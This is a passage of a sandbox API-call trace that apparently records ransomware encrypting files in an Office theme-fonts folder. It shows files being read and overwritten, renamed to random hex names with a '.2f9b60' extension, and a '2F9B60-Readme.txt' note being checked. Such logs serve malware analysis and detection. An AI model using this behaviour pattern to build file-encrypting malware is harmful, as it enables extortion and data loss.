0x3eae0c51 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x2bcf587e [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x24feaf9c [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x3960e141 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x3ed5f4cd [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x54269b34 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x4299de5c [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x5c1f1021 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0xb9e59c [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x4e5a4d2 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x5da1f081 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x4f9843c5 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x1e9d1ad1 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x35ef1796 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x77302929 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x4e7e517f [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x4c5e224b [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x7e3d5197 [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x52e60c7c [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x5e5e9fce [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x1efea77d [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x451512ac [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x5d58c33a [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x5814989d [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0xbbb5d07 [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x1cc121b [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x1b92a1d6 [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x755bc9a2 [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x27a40edc [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x4c90cf67 [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x5d847a9d [0119.612] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 0x6cf914ed [0119.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860870 [0119.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85da90 [0119.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a50 [0119.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da90) returned 1 [0119.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c90) returned 1 [0119.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0119.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85da90 [0119.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2017d170 [0119.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0119.620] ReadFile (in: hFile=0x17d0, lpBuffer=0x2017d170, nNumberOfBytesToRead=0xe1f, lpNumberOfBytesRead=0x3cd1f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesRead=0x3cd1f7f0*=0xe1f, lpOverlapped=0x0) returned 1 [0119.620] SetFilePointerEx (in: hFile=0x17d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.620] WriteFile (in: hFile=0x17d0, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0xe1f, lpNumberOfBytesWritten=0x3cd1f7f4, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x3cd1f7f4*=0xe1f, lpOverlapped=0x0) returned 1 [0124.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72c0 [0124.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7290 [0124.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7290) returned 1 [0124.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0124.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2017d170) returned 1 [0124.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da90) returned 1 [0124.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0124.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda0670 [0124.048] SetFilePointerEx (in: hFile=0x17d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.048] WriteFile (in: hFile=0x17d0, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cd1f910, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x3cd1f910*=0x10e, lpOverlapped=0x0) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0124.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85de90 [0124.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6a0 [0124.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6a0) returned 1 [0124.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202ab6a0 [0124.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab520 [0124.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0124.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0124.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85de90) returned 1 [0124.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0124.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1b82bea0 [0124.199] sprintf (in: _Dest=0x1b82bea0, _Format="%c%c" | out: _Dest="cc") returned 2 [0124.199] sprintf (in: _Dest=0x1b82bea2, _Format="%c%c" | out: _Dest="bd") returned 2 [0124.199] sprintf (in: _Dest=0x1b82bea4, _Format="%c%c" | out: _Dest="22") returned 2 [0124.199] sprintf (in: _Dest=0x1b82bea6, _Format="%c%c" | out: _Dest="49") returned 2 [0124.199] sprintf (in: _Dest=0x1b82bea8, _Format="%c%c" | out: _Dest="a2") returned 2 [0124.199] sprintf (in: _Dest=0x1b82beaa, _Format="%c%c" | out: _Dest="5b") returned 2 [0124.199] sprintf (in: _Dest=0x1b82beac, _Format="%c%c" | out: _Dest="5d") returned 2 [0124.199] sprintf (in: _Dest=0x1b82beae, _Format="%c%c" | out: _Dest="7c") returned 2 [0124.199] sprintf (in: _Dest=0x1b82beb0, _Format="%c%c" | out: _Dest="bb") returned 2 [0124.199] sprintf (in: _Dest=0x1b82beb2, _Format="%c%c" | out: _Dest="29") returned 2 [0124.199] sprintf (in: _Dest=0x1b82beb4, _Format="%c%c" | out: _Dest="41") returned 2 [0124.199] sprintf (in: _Dest=0x1b82beb6, _Format="%c%c" | out: _Dest="da") returned 2 [0124.200] sprintf (in: _Dest=0x1b82beb8, _Format="%c%c" | out: _Dest="76") returned 2 [0124.200] sprintf (in: _Dest=0x1b82beba, _Format="%c%c" | out: _Dest="7c") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bebc, _Format="%c%c" | out: _Dest="8a") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bebe, _Format="%c%c" | out: _Dest="28") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bec0, _Format="%c%c" | out: _Dest="cc") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bec2, _Format="%c%c" | out: _Dest="43") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bec4, _Format="%c%c" | out: _Dest="d8") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bec6, _Format="%c%c" | out: _Dest="a6") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bec8, _Format="%c%c" | out: _Dest="e4") returned 2 [0124.200] sprintf (in: _Dest=0x1b82beca, _Format="%c%c" | out: _Dest="42") returned 2 [0124.200] sprintf (in: _Dest=0x1b82becc, _Format="%c%c" | out: _Dest="e9") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bece, _Format="%c%c" | out: _Dest="2a") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bed0, _Format="%c%c" | out: _Dest="a0") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bed2, _Format="%c%c" | out: _Dest="6d") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bed4, _Format="%c%c" | out: _Dest="c7") returned 2 [0124.200] sprintf (in: _Dest=0x1b82bed6, _Format="%c%c" | out: _Dest="40") returned 2 [0124.201] RtlInitAnsiString (in: DestinationString=0x3cd1f988, SourceString="ccbd2249a25b5d7cbb2941da767c8a28cc43d8a6e442e92aa06dc740" | out: DestinationString="ccbd2249a25b5d7cbb2941da767c8a28cc43d8a6e442e92aa06dc740") [0124.201] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cd1f958, SourceString="ccbd2249a25b5d7cbb2941da767c8a28cc43d8a6e442e92aa06dc740", AllocateDestinationString=1 | out: DestinationString="ccbd2249a25b5d7cbb2941da767c8a28cc43d8a6e442e92aa06dc740") returned 0x0 [0124.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85e790 [0124.201] wcscat (in: _Dest=0x107300, _Source="ccbd2249a25b5d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ccbd2249a25b5d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ccbd2249a25b5d" [0124.201] wcscat (in: _Dest=0x107300, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ccbd2249a25b5d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ccbd2249a25b5d.2f9b60" [0124.201] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ccbd2249a25b5d.2f9b60", NtPathName=0x3cd1f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ccbd2249a25b5d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776690 [0124.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0124.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0124.204] NtQueryInformationFile (in: FileHandle=0x17d0, IoStatusBlock=0x3cd1f998, FileInformation=0x3cd1f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3cd1f998, FileInformation=0x3cd1f9a8) returned 0x0 [0124.204] NtSetInformationFile (FileHandle=0x17d0, IoStatusBlock=0x3cd1f998, FileInformation=0x3cd1f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0124.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0124.207] FlushFileBuffers (hFile=0x17d0) returned 1 [0124.244] CloseHandle (hObject=0x17d0) returned 1 [0124.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac9a0 [0124.245] wcscpy (in: _Dest=0x202ac9a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.245] wcscat (in: _Dest=0x202ac9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac9a0) returned 1 [0124.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac4d0) returned 1 Thread: id = 1409 os_tid = 0x1858 [0119.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml")) returned 0x20 [0119.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml", dwFileAttributes=0x20) returned 1 [0119.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e8 [0119.587] GetFileSizeEx (in: hFile=0x15e8, lpFileSize=0x3efdf9c0 | out: lpFileSize=0x3efdf9c0*=3595) returned 1 [0119.587] SetFilePointerEx (in: hFile=0x15e8, liDistanceToMove=0xe07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.587] ReadFile (in: hFile=0x15e8, lpBuffer=0x3efdf940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3efdf988, lpOverlapped=0x0 | out: lpBuffer=0x3efdf940*, lpNumberOfBytesRead=0x3efdf988*=0x4, lpOverlapped=0x0) returned 1 [0119.705] SetFilePointerEx (in: hFile=0x15e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0119.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0119.705] NtQuerySystemTime (in: CurrentTime=0x3efdf880 | out: CurrentTime=0x3efdf880*=132462177251194000) returned 0x0 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x3f55a71f [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x48d97e91 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x118c71db [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x233f2ec0 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x4d99eff5 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x24faf1b7 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x34ffe3c0 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x43c26d7a [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x7c3c4f3c [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x74119697 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x611f25bc [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x3b648a53 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x51d4fa04 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x218047e4 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x48314797 [0119.705] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x78e2a0a9 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x3ff536f7 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x37d9d92e [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x7feffd21 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x5cdd8b51 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x410d0631 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x512e5d42 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x51fbb49e [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x36d3b6d4 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x2b3f159e [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x6c3a771e [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x6a9d16a4 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x2dd72eb1 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0xb2d207f [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x37f46c1 [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x653453cc [0119.706] RtlRandomEx (in: Seed=0x3efdf870 | out: Seed=0x3efdf870) returned 0x6b469d6d [0119.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0119.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0119.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0119.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0119.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8603f0) returned 1 [0119.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c530 [0119.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0119.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019f0f0 [0119.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20193cc0 [0119.719] ReadFile (in: hFile=0x15e8, lpBuffer=0x2019f0f0, nNumberOfBytesToRead=0xe0b, lpNumberOfBytesRead=0x3efdf870, lpOverlapped=0x0 | out: lpBuffer=0x2019f0f0*, lpNumberOfBytesRead=0x3efdf870*=0xe0b, lpOverlapped=0x0) returned 1 [0119.720] SetFilePointerEx (in: hFile=0x15e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.720] WriteFile (in: hFile=0x15e8, lpBuffer=0x20193cc0*, nNumberOfBytesToWrite=0xe0b, lpNumberOfBytesWritten=0x3efdf874, lpOverlapped=0x0 | out: lpBuffer=0x20193cc0*, lpNumberOfBytesWritten=0x3efdf874*=0xe0b, lpOverlapped=0x0) returned 1 [0152.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052380 [0152.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420523b0 [0152.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420523b0) returned 1 [0152.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20193cc0) returned 1 [0152.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019f0f0) returned 1 [0152.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0152.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0152.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x420523b0 [0152.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c530 [0152.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0152.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420523e0 [0152.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420523e0) returned 1 [0152.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x420523e0 [0152.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052410 [0152.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0152.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0152.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0152.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0152.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x420550b0 [0152.760] SetFilePointerEx (in: hFile=0x15e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0152.760] WriteFile (in: hFile=0x15e8, lpBuffer=0x420550b0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3efdf990, lpOverlapped=0x0 | out: lpBuffer=0x420550b0*, lpNumberOfBytesWritten=0x3efdf990*=0x106, lpOverlapped=0x0) returned 1 [0161.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0161.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0161.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0161.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860420) returned 1 [0161.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0161.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0161.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0161.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0161.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0161.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0161.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d7f80 [0161.591] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="af") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="f4") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="0b") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="e6") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="f8") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="9d") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="cd") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="0d") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="8d") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="ce") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="ca") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="5c") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="76") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="7e") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="8f") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="25") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="8f") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="e7") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="7a") returned 2 [0161.591] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="81") returned 2 [0161.591] RtlInitAnsiString (in: DestinationString=0x3efdfa08, SourceString="aff40be6f89dcd0d8dceca5c767e8f258fe77a81" | out: DestinationString="aff40be6f89dcd0d8dceca5c767e8f258fe77a81") [0161.591] RtlAnsiStringToUnicodeString (in: DestinationString=0x3efdf9d8, SourceString="aff40be6f89dcd0d8dceca5c767e8f258fe77a81", AllocateDestinationString=1 | out: DestinationString="aff40be6f89dcd0d8dceca5c767e8f258fe77a81") returned 0x0 [0161.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86fd0 